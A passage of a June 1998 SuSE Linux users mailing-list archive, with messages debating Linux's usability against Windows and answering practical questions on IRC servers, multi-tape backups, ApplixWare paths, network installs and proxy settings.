solutions and so on, but the thing that has impressed me most is how
fast the polish is being applied to the products: the first time I
configured an X server was last summer I think and it scared the life
out of me, the last time I configured one it configured itself. Setting
up PPP with kppp in KDE is no harder than doing it in Windows and you
get more functionality. I get the impression that the gap in
out-of-the-box usability between Linux & Windows is narrowing rapidly &
while we may never beat Bill, at least we won't implore people to try
the OS & end up scaring them off. This also requires that we fight the
urge to be intellectual snobs - every problem is trivial when you know
the answer but when you're a newcomer you have 4 CDs of potential
problems and no knowledge of even one answer.

An important factor in usability is the documentation quality & this
really seems to be becoming part of the Linux culture. While man pages
will probably always be cryptic and Howtos will always have outdated
sections, the quantity (and quality) of practical, hand-holding
documentation has staggered me. There are, of course, gaps so when you
find one at the very least flag it or better still fill it when you know
how to. There have been complaints about the English in the SuSE book -
if there is a part that is hard to understand because of that, it would
take seconds for a native English speaker to correct it & when I get my
copy back I may do just that.

Again, just some personal opinions.

Brian.

P.S. Fred, I installed StarOffice from a download so I can't offer any
advice re the CD other than to copy the Office40_install directory onto
your hard disk if you have room.
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From hekate@intergate.bc.ca Sun Jun 28 10:38:04 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] IRC Channel
Date: Sun, 28 Jun 1998 03:38:04 -0700
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Thanx for the tip. 

On Sun, 28 Jun 1998, Subba Rao wrote:

> Date: Sun, 28 Jun 1998 10:15:25 -0400
> From: Subba Rao 
> Reply-To: suse-linux-e(a)suse.com
> To: suse 
> Subject: [S.u.S.E. Linux] IRC Channel
> 
> 
> I found an IRC channel for #suse-linux on the IRCNET.
> If you would like to discuss in real-time about SuSE, it is not a bad
> place.
> 
> Here is the server, I connected to.
> 
> irc.anet-chi.com
> 
> The following are the other IRCNET servers
> 
> irc.anet.com (0) Illinois, Texas, Missouri
>  *.webbernet.net (1) Web Net Worldwide
>   *.stealth.net (2) [ircd.stealth.net] Stealth - New York, USA
>    ircd.portal.ru (3) JSC "Teleport-TP", Portal Network
>     irc.portal.ru (4) [ircd.portal.ru] JSC "Teleport-TP", Portal Network
> 
>    irc.ncal.verio.net (3) Verio - Northern California
>     ircnet.sprynet.com (4) SpryNet IRCNet Server
>   *.lv (2) [ircd.lvnet.lv] LvNet-Teleport, Riga, Latvia
>   *.race.u-tokyo.ac.jp (2) [race-server.race.u-tokyo.ac.jp] RACE,
> University
>    irc.otemachi.wide.ad.jp (3) WIDE Project Otemachi NOC, Japan
>     irc.rcac.tdi.co.jp (4) TDI RCAC, Kyoto, Japan
>      irc.kyoto.wide.ad.jp (5) WIDE Project Kyoto NOC, Japan
>       irc.karrn.ad.jp (6) KARRN Hakozaki NOC
>       endo.wide.ad.jp (6) WIDE-NOC of Fujisawa, Japan
>     irc.tokyo.wide.ad.jp (4) WIDE Project Tokyo NOC, Japan
>     *.dti.ne.jp (4) [irc.dti.ne.jp] Akasaka Tokyo, Japan
>     wsclark.huie.hokudai.ac.jp (4) [133.87.128.10] Hokkaido
> University,Sapporo,Japan
>      irc.kyutech.ac.jp (5) [131.206.1.101] Kyushu Institute of
> Technology. ,J
>      *.tohoku.ac.jp (5) [130.34.11.89] Tohoku University, Japan
>   *.uni.net (2) [irc.fun.uni.net] UniNet Rome, Italy
>   irc.cifnet.com (2) Chicago InterFlash Networking, Inc.
>   *.NL.net (2) [ircd.NL.net] NLnet Amsterdam, The Netherlands
>    eris.bt.net (3) British Telecom IRC Routing Server
>     irc.warwick.ac.uk (4) University of Warwick server
>     chat.btinternet.com (4) BT Internet Chat
>     irc.netcom.net.uk (4) [194.42.224.135] NETCOM Internet Ltd, UK
>     irc.u-net.com (4) U-Net Internet IRCNet Server
>     chat.bt.net (4) [194.73.82.246] British Telecom Public IRC Server
>     irc.easynet.co.uk (4) [banana.irc.easynet.net] Easynet, London, UK
>    *.ch (3) [ircd.span.ch] SPAN Swiss Private Access Network
>    irc2.sci.kun.nl (3) University of Nijmegen, The Netherlands
>     *.se (4) [irc.ludd.luth.se] Top of the world, Lulea, Sweden
>      *.fi (6) [ircd.funet.fi] Finnish University and Research Ne
>       *.pl (7) [absolut.sgh.waw.pl] Warsaw, Poland
>       *.no (7) [irc.ifi.uio.no] Universitas Osloensis
>       irc.isnet.is (7) ISnet, Iceland
>       *.teliafi.net (7) [irc.teliafi.net] Telia Finland
>       *.ee (7) [irc.estpak.ee] Estpak Data, Tallinn, Estonia
>       irc.ru (7) [skraldespand.demos.su] Russian IRC server, Demos-
>      *.lt (5) [193.219.61.14] Lithuanian IrcNET Uplink Server, L
>     *.be (4) [ircd.belnet.be] BELNET routing server, Brussels
>      irc.skybel.net (5) Skynet SA/NV IRC Server
>    *.unipi.it (3) [irc.ccii.unipi.it] University of Pisa, Italy
>    *.DE (3) [irc.gmd.de] [irc.gmd.de] GMD, St.Augustin, German
>     luisvive.euiti.upv.es (5) [UPV]-= luisvive.euiti.upv.es =- SPAiN
>     irc.cis.vutbr.cz (5) IRC server of CIS FEI VUT Brno
>      irc.felk.cvut.cz (6) [147.32.80.15] Technical University of Prague,
> CVU
>      irc.vsp.cz (6) [195.113.118.2] FRIT VSP Hradec Kralove
>     *.at (4) [irc.wu-wien.ac.at] [137.208.127.3 6667] Vienna, A
>      *.tin.it (5) [ircd.tin.it] - Telecom Italia Net - Italy
>       irc.flashnet.it (6) - Flashnet Telecomunicazioni Spa - Italy
>      *.sk (5) [netlab.irc.sk] NETLAB plus, ISP in Slovakia
>      *.arnes.si (5) [irc.arnes.si] ARNES IRC Server
>       irc.uni-mb.si (6) University of Maribor IRC Server
>     *.fr (4) [sil.polytechnique.fr] Ecole Polytechnique, France
>      *.grolier.net (5) [hub.grolier.net] IRCNet - Grolier/Club-Internet
>       irc.twiny.net (6) [195.101.196.14] Twiny - Paris La Defense,
> France
>       *.insat.com (6) [194.51.149.1] Societe INSAT S.A.
>     *.hu (5) [irc.bme.hu] Technical University of Budapest
>     *.dknet.dk (5) [irc.dknet.dk] Copenhagen, Denmark
>      sunsite.auc.dk (6) SunSITE Denmark, Aalborg University
>    ircnet.demon.co.uk (3) Demon Internet Ltd, London, UK.
>    *.il (3) [ircd.ibm.net.il] IBM, Israel
>    *.xs4all.nl (3) [irc.xs4all.nl] XS4ALL, Networking for the Masses
>    *.gr (3) [irc.ee.auth.gr] Aristotle uni. of Thessaloniki,
>    irc.sci.kun.nl (3) University of Nijmegen, The Netherlands
>   ircnet.irc.aol.com (2) [152.163.208.18] America Online
>   *.ca (2) [ircnet.idirect.ca] Internet Direct - Toronto, Can
>   *.au (2) [flute.telstra.net.au] TI IRC Server
> 
> Hope this helps.
> 
> Regards,
> 
> Subba Rao
> subb3(a)ibm.net
> 
> 
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From fmiller@lightlink.com Sun Jun 28 10:43:39 1998
From: fmiller@lightlink.com
To: users@lists.opensuse.org
Subject: RE: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 10:43:39 +0000
Message-ID: <19980628.10433900@SuSE>
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>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 28/06/98, 03:41:04, beamanj(a)novaquest.com (Joseph Beaman) wrote 
regarding RE: [S.u.S.E. Linux] thinking about suse:

> I agree.  I am new to the Linux OS, and while I am very impressed with 
many
> of its features, the learning curve is very steap.  I, myself, am a 
Systems
> Developer (working mostly with Win32 operating systems) and I still 
have a
> hard time getting Linux to do everything I want it to.  Though, I will 
say
> this much for Linux--it's a lot more fun than WinNT :-)

[snip]

I agree....it is that!  There are some in the Linux/UNIX community 
who'd rather not see Linux become a main stream OS....snobery defines 
this attitude well.  Simply, it's TOO GOOD to just remain an OS for 
those who enjoy mucking around at the gut level of an OS, although it 
should be that also.  I've only had Linux for less than 2 weeks, and 
am not knowledgeable about UNIX either.  I got tired of messing around 
with the StarOffice CD, so copied the CD to the hard drive and managed 
to get it to install from there.  So far, I'm impressed, except for it 
not having any printer listed except a postscript printer.  Time for a 
few hours sleep, then I'll work on that next.

Regards,

Fred

Systems Admin.
Cornell Univ. Press Services
fm(a)cupserv.org
fmiller(a)lightlink.com

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From hekate@intergate.bc.ca Sun Jun 28 10:51:47 1998
From: hekate@intergate.bc.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 03:51:47 -0700
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I'm not sure what Michael meant, but with all due respect I'm sick of this
thread. ( That doesn't mean everyone should stop talking about it, it just
means for me personally it's time for me to hit my 'd' key cause it's been
beaten to death a zillion times in so many different groups it gets
tiresome.) Linux has a bright future and present and is always growing. I
think to constantly compare it to M$$$ is absurd. I think to complain
about a learning curve is absurd when you switch OS's. I , personally, get
sick of people saying what Linux is NOT. I am just so pleased with what it
is. If people think Linux should just be 'Windows 98 but Unix' then they
need to think differently. The OS's are different. Maybe it isn't for
everyone, yet, and some people are just better off using Windows, because
it *does* make it easier to just point and click your way through life
without ever having ot know how and why things work. In any case, for me
it's prefereble to have some people not use Linux (for a while anyway) if
for no other reason, than I don't have to listen to all this whining from
people who are so Microsoft trained that they just can't seem to adjust.=20

On Sun, 28 Jun 1998, Leon McClatchey wrote:

> Date: Sun, 28 Jun 1998 12:03:09 -0500
> From: Leon McClatchey 
> Reply-To: suse-linux-e(a)suse.com
> To: suse-linux-e(a)suse.com
> Subject: Re: [S.u.S.E. Linux] thinking about suse
>=20
>=20
> Michael Lankton wrote:
>=20
> > What you all need to take into consideration is that linux is a unix
> > clone.  Unix systems need to be ADMINISTERED, they were never meant to
>=20
> I'm quite aware of that.  I figured that out a couple of years ago when I s=
et up RH
> Linux on my pc.  And as far as that goes, I quite enjoyed the administrativ=
e tasks
> or running the system.  Then about 6 months ago, I got suse 5.1 and reinsta=
lled
> Linux on my pc.  The only real difference between now and then is that when=
 I first
> tried Linux, I only had 1 machine and that was set up to run either Linux o=
r OS/2.
> Well, now my "main server" is still a combination of OS/2 and Linux, but I'm
> finding myself more in Linux and less in OS/2. (does that say something:-).=
  And
> I've been working on perfecting the network between Linux and Win95 (never =
could
> get os2 to working along those lines).  The result of all of that is that I=
 have
> learned quite a bit about what is involved in truly maintaining a system:-)=
 (Still
> got a ways to go too:-)
>=20
> > linux or whatever, you have willingly chosen to become a unix system
> > administrator.  I don't understand all the whining about
>=20
> So who is whining?  Linux has something that I have been looking for for a =
long
> time!  It has the capability of "separating" the users which other operating
> systems do not have.  My son likes to experiment a bit whenever he gets on =
the
> keyboard.  And there has been more than one time that I have gotten on in e=
ither
> os2 or win95 and found the system layout changed.  In Linux I don't have to=
 worry
> about that, he can change his "desktop" or whatever and not have any affect=
 on
> anyone else who uses the pc:-)
>=20
> I plan to get a 3rd machine in the near future which will be a dedicated os2
> machine.  So my plans at this point are to have a total of 3 machines, Linu=
x,
> Win95, and Os/2.  The main thing in all of that, is that the linux box will=
 be the
> main network "boss".  The reason for that is quite obvious at this point in
> time:-)  But My daughter likes Win95, my son is quite adaptable, he's at th=
e point
> where he can get around comfortably in all three operating systems (btw he'=
s 12).
> My wife likes OS/2 for the most part, though she is learning to get around =
in Xfree
> as well:-)
>=20
> > something
> > you've voluntarily chosen to do.  If people come to linux expecting a
> > windows that isn't windows, they are going to be disappointed and
> > frustrated.
>=20
> Either that or have a lot of fun "overcoming obstacles":-)
>=20
> --
> cya l8r
> Leon McClatchey
> leonmcclatchey(a)homemail.com
> Linux User 78912
> (Linux Box)
>=20
>=20
>=20
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From chris123@netcom.ca Sun Jun 28 10:56:45 1998
From: chris123@netcom.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] S.u.S.E. 5.3 --> dmsdos!
Date: Sun, 28 Jun 1998 06:56:45 -0400
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Two thumbs up...but alas whom I to say. I know Ill get it on my system
real soon. Thanks for pointing it out as I was looking for something
like this.

ch
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From martin_moeller@technologist.com Sun Jun 28 11:02:26 1998
From: martin_moeller@technologist.com
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] S.u.S.E. 5.3 --> dmsdos!
Date: Sun, 28 Jun 1998 13:02:26 +0200
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Hello, folks!

 I have just yesterday installed the dmsdos package that allows you to
mount DoubleSpace (1/2), DriveSpace (3) and Stacker (3/4) partitions in
Linux and after finally having read the right documentation fist (and
consequently reinstalled the kernel half a dozen times ;)) it works
beutifully, so I would like to see it integrated into S.u.S.E. Linux 5.3
for easier co-exsistance with Win95/98 and other Compressed DOS volumes.

It can be found here:

ftp://fb9nt.uni-duisburg.de/pub/linux=
/dmsdos>

And it would be great if it could come as a precompiled module and
applied patch to the kernel. It's not much that needs to be done, and I
guess RPM could take care of the patching? Then, an easy setup interface
in YaST, and of couse filesystem loopback support on as default would
pretty much do it!

What do the rest of you think about this?


--
Martin Moeller.

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From weissel@jupiter.ph-cip.uni-koeln.de Sun Jun 28 11:05:37 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] dd question
Date: Sun, 28 Jun 1998 13:05:37 +0200
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Hi!

Trying to kill the keyboard, tanc(a)cuug.ab.ca produced:
> Does anyone know how do you write a file to a tape, spanning across more
> than 1 tape?  Also, how do you read from it?  A collegue of mine came over

You may want to use tar. 
Dump/restore may or may not work, the man page says it doesn't
with Linux, yet I heard reports that it does.

Any proper backup package will/should work as well.

-Wolfgang


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From weissel@jupiter.ph-cip.uni-koeln.de Sun Jun 28 11:07:50 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Qps
Date: Sun, 28 Jun 1998 13:07:50 +0200
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Hi!

Trying to kill the keyboard, satan3(a)home.com produced:
> Attention windowmaker users.  The app, Qps, which ships with 5.2 (it's a
> QT top essentially), runs a load meter IN the minimized app icon!  While

5.2 ships with version 1.2. You may want version 1.4.x, though, which has
added functions, like find parent/child processes ...

-Wolfgang


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From gordster@juno.com Sun Jun 28 12:12:58 1998
From: gordster@juno.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 08:12:58 -0400
Message-ID: <19980628.065741.2063.0.gordster@juno.com>
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-snip-  =20

>and SUSE.  You'll need Partition Magic.  If you don't have version=20
>3.05,
>download the upgrade from their web site (it's free):
>http://www.powerquest.com>.
>
>Use Partition Magic to setup your drive(s) as follows:
>|Boot Manager | Linux root / | Win95 | Logical drives |

nippety,snip,snip

Alan-

I appreciate your analysis of the proper setup with W95, and=20
I'm saving it for reference.  However, you  (and other hopefuls)=20
should be aware that only the upgrade (patches) are available=20
for PQ/PM on their web site; and they are only good for the=20
basic level that you already have:  i.e. I have version 2.03, but=20
I cannot patch up to any level 3.xx, etc, [much as I would love to=20
be able to do that.

Gordy  Heitzman         gordster(a)juno.com    =20

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From tanc@cuug.ab.ca Sun Jun 28 12:49:55 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] NFS over FTP thru a WINGATE proxy
Date: Sun, 28 Jun 1998 06:49:55 -0600
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the question is, on which machine is the nfs volume going to be mounted?
i assume if you are using wingate proxy on another machine, you will be
using a windows machine and you are trying to install linux on another
machine which is hooked up to the net proxying through the windows box.
am i right? =20

if that is the case, i don't think you can do ftp over nfs.  but if you
have a machine on which you can install one of the *bsd unix, which ftp
installation support is available right out of the stock installation boot=20
disk, then what you'll do is to install something like netbsd (which is
very small, very quick to install) on that spare machine.  after the
installation, mount the nfs volume onto the netbsd machine's ftp home.
then install linux on the machine you wanted.

i don't think it is impossible to make a boot disk for linux that supports
ftp install, but i am not a boot disk expert. =20

there are linux distributions which you may install over ftp.  one such
distributions is redhat.  i don't know much about others like slackware
and debian.  it has been a long time since i last installed a slackware or
debian.  but please don't think i am asking you to install redhat.  it is
a sad case that suse does not have ftp installation option.

hope this helps.

regards,
C. J. Tan

On Sun, 28 Jun 1998, Chilini wrote:

>=20
> can someone please try to help me.. if you cannot tell me and dont ignore m=
e..=20
>=20
> Thanks ..
>=20
>=20
>=20
> At 12:30 PM 6/27/98 -0500, you wrote:
> >
> >
> >ok.. i have a BAD situation for a FTP install with any type of linux.. i
> >need to do an FTP install .. but in my install disk there is only
> >harddisk,CD-ROM, or NFS.. the closest one that i could use at this point
> >,due to lack of hard drive space, is NFS.. i was wondering if there was a
> >way to do an FTP install "thru" a NFS type deal and also go thru a WINGATE
> >2.1 proxy.. if you people think that this is impossible, then please tell
> >me and i will try something else (of course) if you think you even might
> >have something for me to try or need more information put it on this list
> >or mail me at chilini(a)inlink.com.. thanks
> >
> >		Chilini
> >
> >
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E-mail: cjtan(a)acm.org                   Telephone: 1-403-220-8038=20
        tanc(a)cuug.ab.ca                            1-403-606-4257=20
URL: http://www.cuug.ab.ca/~tanc>        Facsimile: 1-403-284-19=
80

            "An engineer made programmer is one=20
                who attempts to solve a problem,
              A programmer made engineer is one=20
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From terryr@laker.net Sun Jun 28 12:51:05 1998
From: terryr@laker.net
To: users@lists.opensuse.org
Subject: [S.u.S.E. Linux] Q.Where do I find libxdelta.so.O
Date: Sun, 28 Jun 1998 12:51:05 +0000
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Hi all,
I am tring to install gimp 1.0 on suse 5.2 Demo. The only thing I need
now is libxdelta.so.O, but I don't know where to find it. Does anybody
know what package it is in?tyvm.
Terry
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From hlarons@mail.comcat.com Sun Jun 28 12:51:53 1998
From: hlarons@mail.comcat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Where's Applix?
Date: Sun, 28 Jun 1998 08:51:53 -0400
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On Sat, Jun 27, 1998 at 03:29:44PM -0500, Michael Lankton wrote:
> 
> I have the commercial version of applix, and it installs to /opt/applix
> by default.  If that's where it is on your box, just symlink
> /opt/applix/applix to a dir in your path.
> 
> Howard Arons wrote:
> > 
> > I installed the ApplixWare demo that came with SuSE 5.2 I installed
> > the apxengdm package ("ApplixWare Office 4.3 Demo (English)") with YaST.
> > 
> > So, where's the executable? I can't find an ELF binary anywhere in this
> > install.

Alas, my install has the /opt/applix directory structure, but there's 
no "applix" executable there. AFAIK there is _no_ executable in the 
install at all. Some demo :-( I really don't know what to make of this.

Howard Arons

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From weissel@jupiter.ph-cip.uni-koeln.de Sun Jun 28 12:56:32 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 14:56:32 +0200
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Hi!

Trying to kill the keyboard, fmiller(a)lightlink.com produced:
> > It doesn't seem to take an act of congress for everybody. Just some
> > people.
> 
> No, the majority.  MOST people aren't well versed in UNIX.  If Linux is
> to be mains stream, and it deserves to be, then it must be MUCH more
> user friendly.

Well, while I belive I am somewhat versed in Unix when I first
installed Linux I tend to belive the most important bit is to
read the manual, reread as neccessary and to take your time.
Explore the menues. Read the help on every bit. At least the
first time around. 

If you belive computers should be easier to operate than cars,
(where you *have* to take lessons!), then do away with that
funny 'keyboard' stuff and just have a mouse with 1 button.
        :-)

User-friendly for me is the possibility to check and choose (or
choose not) every package there is. Even more user-friendly
would be if YaST would say what exactly it does (switch via
commandline), e.g. "copying /usr/lib/zoneinfo/Europe/Berlin to
/usr/lib/zoneinfo/localtime" so I could easily learn to get rid
of these crutches --- they are great to learn walking, but I 
often want not to *have* to use them,

Oh, go and make it as opaque and 'intelligent' and 'all the
user has to know is how to operate the power-on switch and the
coffe-cup holder' ... as long as one can switch it off with
ease. IMHO.

-Wolfgang


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From tanc@cuug.ab.ca Sun Jun 28 12:58:27 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] NFS over FTP thru a WINGATE proxy
Date: Sun, 28 Jun 1998 06:58:27 -0600
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For SuSE NFS install:

linux01.gwdg.de:/suse/5.2

Regards,
C. J. Tan

On Sun, 28 Jun 1998, World Leader Pretend wrote:

>=20
> > can someone please try to help me.. if you cannot tell me and dont ignore=
 me..=20
> >=20
>=20
> 	Dude, There may be a way to do a install off another computer with
ftp, but I don't believe YaST supports that currently.  I think FTP
requires a specific port to recieve all of it's data, and nfs works with
dynamic port assignmemnt...  I think...  I'm not sure if SuSE has a url
for nfs install...    >=20
> 	When you go to install (I am assuming 5.2) look to see if a
pre-install kernel has something like ftp-install...  I would suggest
using a null modem link between the two with pppd...  then seeing if you
could use smb between the two machines to install...   >=20
> 																						Jonathan
>=20
> --=20
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D                                          =
           =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>=20
>                            Jonathan Paul Cowherd
>                         jpcowh01(a)slug.louisville.edu
>                   http://www.slug.louisvill=
e.edu/~jpcowh01>
>=20
> This is my world and I am...                           World Leader Pretend
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From hlarons@mail.comcat.com Sun Jun 28 12:59:26 1998
From: hlarons@mail.comcat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld]
Date: Sun, 28 Jun 1998 08:59:26 -0400
Message-ID: <19980628085926.43740@BeagleDog>
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On Sun, Jun 28, 1998 at 12:42:45AM +0200, Wolfgang Weisselberg wrote:
> 
> Hi!
> 
> Trying to kill the keyboard, hlarons(a)mail.comcat.com produced:
> > Communications by Mutt 0.89
> 
> Aehm, what have you done to poor mutt?
> Not only you produce 2 
> X-Mailer: Mutt 0.89.1
> lines in the header, but you have neither a "References:" nor
> an "In-Reply-To:" line in your header.

I appreciate the feedback from "the real world." To answer your ?s:
* I have no idea why the dup X-Mailer headers appear. I'll check 
.muttrc again.
* I nulled the References and I-R-T headers intentionally. What do they 
really add? Who actually looks at/uses them? This isn't a smart-ass 
answer; if there's a good reason for them to be there, I'll put them 
back.
* Mutt 0.89 seems OK to me. What does 0.91 offer? I follow Welsh and 
Kaufman's advice ("Running Linux") about not upgrading when something 
works.
> 
> (and you haven't upgraded to 0.91.1(i), either   :-)
* Mutt 0.89 seems OK to me. What does 0.91 offer? I follow Welsh and 
Kaufman's advice ("Running Linux") about not upgrading when something 
works.

> 
> -Wolfgang

Howard Arons 

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From weissel@jupiter.ph-cip.uni-koeln.de Sun Jun 28 13:01:59 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Star NX-1020
Date: Sun, 28 Jun 1998 15:01:59 +0200
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Hi!

Trying to kill the keyboard, mhtexcollins(a)ccms.net produced:
> Does anyone know where I should look??  It rattles every time I reboot,
> and it works in 95 soooo..

Tongue-in-cheek:

Then don't reboot! 

end Tongue-in-cheek

I guess that what happens is that when rebooting the parallel
port does switch on/off several lines under the control of the
BIOS, (at least that happens here) so the printer resets. The
resetting could sound like a rattle. You may want to switch the
printer off unless you need it.

-Wolfgang


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From tanc@cuug.ab.ca Sun Jun 28 13:04:53 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 07:04:53 -0600
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Let's not even get into the user friendliness here.  I was a system
administrator of an NT network for more than a year, just less than a year
ago.  Then I switched over to Linux.  Before that, I have used various
UNIX flavors before, including AIX, Solaris, DU.  Of course, I had quite a
bit to learn, but I made may way through slowly.  I know there is still a
long way for me to go.  But at least I am on my way.  At first, I found
UNIX machines harder to use than NT.  But now, I say the same thing with
NT machines: they are harder to use than UNIX.  I am not a psychologist,
but I think that's because I am getting used to the environment.  If there
is anyone who is very very interested in this topic, they should get into
the area of Computer-Human Interaction. =20

Regards,
C. J. Tan

On Sun, 28 Jun 1998, Fred A. Miller wrote:

>=20
> hekate(a)intergate.bc.ca wrote:
> >=20
> > It doesn't seem to take an act of congress for everybody. Just some
> > people.
>=20
> No, the majority.  MOST people aren't well versed in UNIX.  If Linux is
> to be mains stream, and it deserves to be, then it must be MUCH more
> user friendly.
>=20
> Fred
>=20
> --=20
> Fred A. Miller, Systems Administrator
> Cornell Univ. Press Services
> fmiller(a)lightlink.com
> fm(a)cupserv.org
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From tanc@cuug.ab.ca Sun Jun 28 13:07:09 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] dd question
Date: Sun, 28 Jun 1998 07:07:09 -0600
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No, I guess I didn't phrase my question very well.  I wanted to know how
to write a file to a tape spanning across more than 1 tape using 'dd'.

Regards,
C. J. Tan

On Sun, 28 Jun 1998, Matthias Morche wrote:

>=20
> C. J. Kenneth Tan wrote:
> >=20
> > Does anyone know how do you write a file to a tape, spanning across more
> > than 1 tape?  Also, how do you read from it?  A collegue of mine came over
> > this at work and he was asking me about it.
> ...
> # tar --help
> ...
> Device selection and switching:
> ...
>   -M, --multi-volume             create/list/extract multi-volume
> archive
>   -L, --tape-length=3DNUM          change tape after writing NUM x 1024
> bytes
> ...
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From weissel@jupiter.ph-cip.uni-koeln.de Sun Jun 28 13:14:25 1998
From: weissel@jupiter.ph-cip.uni-koeln.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] FYI Linus Trovalds in InforWorld]
Date: Sun, 28 Jun 1998 15:14:25 +0200
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Hi!

Trying to kill the keyboard, I produced:
> Aehm, what have you done to poor mutt?
[...]

Darn, this was meant as a reply, not to the group. 

-Wolfgang


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From tanc@cuug.ab.ca Sun Jun 28 13:18:36 1998
From: tanc@cuug.ab.ca
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] Where's Applix?
Date: Sun, 28 Jun 1998 07:18:36 -0600
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My ApplixWare installation has /bin/applix symlink to
/opt/applix/bin/applix .  My package comes out of Red Hat, if that makes
any difference. =20

If that still doesn't work, try to look into the directory /opt/applix to
see what else is there.  You should find something like 'applix' and has
its file bits set to executable.  In my installation,
/opt/applix/bin/applix is actually a script that sets up a few things and
then start up Applixware at /opt/applix/applix . =20

Regards,
C. J. Tan

On Sun, 28 Jun 1998, Howard Arons wrote:

>=20
> On Sat, Jun 27, 1998 at 03:29:44PM -0500, Michael Lankton wrote:
> >=20
> > I have the commercial version of applix, and it installs to /opt/applix
> > by default.  If that's where it is on your box, just symlink
> > /opt/applix/applix to a dir in your path.
> >=20
> > Howard Arons wrote:
> > >=20
> > > I installed the ApplixWare demo that came with SuSE 5.2 I installed
> > > the apxengdm package ("ApplixWare Office 4.3 Demo (English)") with YaST.
> > >=20
> > > So, where's the executable? I can't find an ELF binary anywhere in this
> > > install.
>=20
> Alas, my install has the /opt/applix directory structure, but there's=20
> no "applix" executable there. AFAIK there is _no_ executable in the=20
> install at all. Some demo :-( I really don't know what to make of this.
>=20
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From brauki@cityweb.de Sun Jun 28 13:20:58 1998
From: brauki@cityweb.de
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] NFS over FTP thru a WINGATE proxy
Date: Sun, 28 Jun 1998 15:20:58 +0200
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Hello,

for jonathan's remark: It is possible to install from the internet via
nfs. I never tried, but there is a URL in your support data base:

http://localh=
ost/support-db/sdb_e/ke_suselinux-ftp.html>

Wether this works via a WINGATE proxy... no clue. maybe you have to set=20
some environment variables (I do this in /etc/profile)

ftp_proxy=3Dhttp://proxy.cityweb.de:8080/>
http_proxy=3Dhttp://proxy.cityweb.de:8080/>
no_proxy=3D'www.cww.de, www.cityweb.de, localhost, slartibartfast,
arthurdent'

ince my provider uses a proxy.

J=C3=BCrgen

PS: Jonathan, can you tell eml somehow to issue line breaks? your lines
look endless, sometimes hard to read.


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World Leader Pretend wrote:
>=20
> > can someone please try to help me.. if you cannot tell me and dont ignore=
 me..
> >
>=20
>         Dude, There may be a way to do a install off another computer with =
ftp, but I don't believe YaST supports that currently.  I think FTP requires =
a specific port to recieve all of it's data, and nfs works with dynamic port =
assignmemnt...  I think...  I'm not sure if SuSE has a url for nfs install...
>=20
>         When you go to install (I am assuming 5.2) look to see if a pre-ins=
tall kernel has something like ftp-install...  I would suggest using a null m=
odem link between the two with pppd...  then seeing if you could use smb betw=
een the two machines to install...
>=20
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From sodah@qatar.net.qa Sun Jun 28 13:40:30 1998
From: sodah@qatar.net.qa
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] IRC Channel
Date: Sun, 28 Jun 1998 16:40:30 +0300
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Subba Rao wrote:

> I found an IRC channel for #suse-linux on the IRCNET.
> If you would like to discuss in real-time about SuSE, it is not a bad
> place.
>
> Here is the server, I connected to.
>
> irc.anet-chi.com
>

hi

i found #Linux also on the irc server  irc.mo.net

bye
nickname: pons

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From tanc@cuug.ab.ca Sun Jun 28 14:06:36 1998
From: tanc@cuug.ab.ca
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Subject: [S.u.S.E. Linux] multiple X
Date: Sun, 28 Jun 1998 08:06:36 -0600
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How can I start multiple X sessions?  I want to have an X session started
on VT7, another on VT8.  Has anyone done this before? =20

Any help will be greatly appreciated.

Regards,
C. J. Tan
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From hlarons@mail.comcat.com Sun Jun 28 14:06:54 1998
From: hlarons@mail.comcat.com
To: users@lists.opensuse.org
Subject: Re: [S.u.S.E. Linux] thinking about suse
Date: Sun, 28 Jun 1998 10:06:54 -0400
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On Sun, Jun 28, 1998 at 01:30:57AM -0400, Fred A. Miller wrote:
> 
> > ... As for _general_ consumption, though, I don't think Linux (SuSE's
> > or anyone else's) has a prayer vs MS.
> 
> That all depends on how simple SuSE and others make the install,
> administration etc. of ALL Linux, as well as ALL software providers!  As
> long as it just about takes an "act of Congress" to install a system,
> sound drivers, fonts, printers, etc., etc., then you are correct.  IF
> the folks at SuSE and elsewhere get their act together, then Linux will
> be Bill Gates WORST nightmare!!
> 
> Fred

I _promise_ that this will be my last note on this subject (uncrosses 
fingers).

In theory, you're absolutely right. But your conclusion applies not 
only to installs but to the maintenance of the OS and apps as well. 
After all, most "mortal" users buy a box with Win95/98 preinstalled and 
preconfigured. They never touch the OS again. Their efforts to add a 
new printer or a new modem, etc. often end in utter disaster (been 
there, done that I'm ashamed to admit). If they're lucky, they have a 
techie friend (someone who has already been through an install) who can 
